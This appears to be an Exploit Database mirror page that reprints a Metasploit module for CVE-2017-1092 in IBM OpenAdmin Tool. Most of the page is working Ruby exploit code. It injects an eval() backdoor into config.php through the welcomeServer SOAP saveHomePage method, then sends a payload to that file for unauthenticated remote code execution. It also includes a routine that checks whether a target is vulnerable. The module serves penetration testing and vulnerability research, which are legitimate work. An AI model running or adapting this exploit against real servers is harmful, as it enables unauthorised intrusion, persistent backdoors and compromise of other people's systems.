IBM OpenAdmin Tool – SOAP welcomeServer PHP Code Execution (Metasploit)

• Exploit Database
• 16 阅读

• 作者： Metasploit
  日期： 2017-08-22
• 类别：

  • remote
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/42541/

• ##
  # This module requires Metasploit: http://metasploit.com/download
  # Current source: https://github.com/rapid7/metasploit-framework
  ##
  
  class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  
  include Msf::Exploit::Remote::HttpClient
  include REXML
  
  def initialize(info = {})
  super(update_info(info,
  'Name' => 'IBM OpenAdmin Tool SOAP welcomeServer PHP Code Execution',
  'Description'=> %q{
  This module exploits an unauthenticated remote PHP code execution
  vulnerability in IBM OpenAdmin Tool included with IBM Informix
  versions 11.5, 11.7, and 12.1.
  
  The 'welcomeServer' SOAP service does not properly validate user input
  in the 'new_home_page' parameter of the 'saveHomePage' method allowing
  arbitrary PHP code to be written to the config.php file. The config.php
  file is executed in most pages within the application, and accessible
  directly via the web root, resulting in code execution.
  
  This module has been tested successfully on IBM OpenAdmin Tool 3.14
  on Informix 12.10 Developer Edition (SUSE Linux 11) virtual appliance.
  },
  'License'=> MSF_LICENSE,
  'Author' =>
  [
  'SecuriTeam', # Discovery and exploit
  'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
  ],
  'References' =>
  [
  ['CVE', '2017-1092'],
  ['EDB', '42091'],
  ['URL', 'https://www-01.ibm.com/support/docview.wss?uid=swg22002897'],
  ['URL', 'https://blogs.securiteam.com/index.php/archives/3210'],
  ['URL', 'http://seclists.org/fulldisclosure/2017/May/105']
  ],
  'Platform' => 'php',
  'Arch' => ARCH_PHP,
  'Privileged' => false, # Privileged on Windows but not on *nix targets
  'Targets'=> [['Generic (PHP Payload)', {}]],
  'DisclosureDate' => 'May 30 2017',
  'DefaultTarget'=> 0))
  register_options(
  [
  OptString.new('TARGETURI', [ true, 'The base path to IBM OpenAdmin Tool', '/openadmin' ])
  ]
  )
  end
  
  def set_home_page(homepage)
  xml = Document.new
  xml.add_element 'soapenv:Envelope', 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance',
  'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema',
  'xmlns:soapenv' => 'http://schemas.xmlsoap.org/soap/envelope/',
  'xmlns:urn' => 'urn:Welcome'
  xml.root.add_element 'soapenv:Header'
  xml.root.add_element 'soapenv:Body'
  body = xml.root.elements[2]
  body.add_element 'urn:saveHomePage', 'soapenv:encodingStyle' => 'http://schemas.xmlsoap.org/soap/encoding/'
  new_home_page = body.elements[1].add_element 'new_home_page', 'xsi:type' => 'xsd:string'
  new_home_page.text = homepage
  
  uri = normalize_uri target_uri.path, 'services', 'welcome', 'welcomeService.php'
  send_request_cgi 'method'=> 'POST',
   'uri' => uri,
   'ctype' => 'text/xml; charset=UTF-8',
   'headers' => { 'SOAPAction' => 'urn:QBEAction' },
   'data'=> xml.to_s
  end
  
  def check
  fingerprint = Rex::Text.rand_text_alpha(rand(10) + 6)
  res = set_home_page "\";##{fingerprint}"
  
  unless res
  vprint_status "#{peer} Connection failed"
  return CheckCode::Unknown
  end
  
  if res.code == 200 && res.body =~ %r{<ns1:saveHomePageResponse><return xsi:type="xsd:string">";##{fingerprint}</return>}
  return CheckCode::Detected
  end
  
  Msf::Exploit::CheckCode::Safe
  end
  
  def exploit
  cmd_param = Rex::Text.rand_text_alpha(rand(10) + 6)
  
  res = set_home_page "\";eval($_POST['#{cmd_param}']); #"
  
  unless res
  vprint_status "#{peer} Connection failed"
  return CheckCode::Unknown
  end
  
  if res.code == 200 && res.body =~ /<ns1:saveHomePageResponse><return xsi:type="xsd:string">";eval/
  print_good "#{peer} Wrote backdoor to config.php file successfully"
  else
  fail_with Failure::UnexpectedReply, "#{peer} Failed to backdoor config.php"
  end
  
  vprint_status "#{peer} Executing payload..."
  send_request_cgi({ 'method'=> 'POST',
   'uri' => normalize_uri(target_uri.path, 'conf', 'config.php'),
   'vars_post' => { cmd_param => payload.encoded } }, 5)
  
  print_warning "#{peer} Replace the 'config.php' file with 'BAKconfig.php' to remove the backdoor"
  end
  end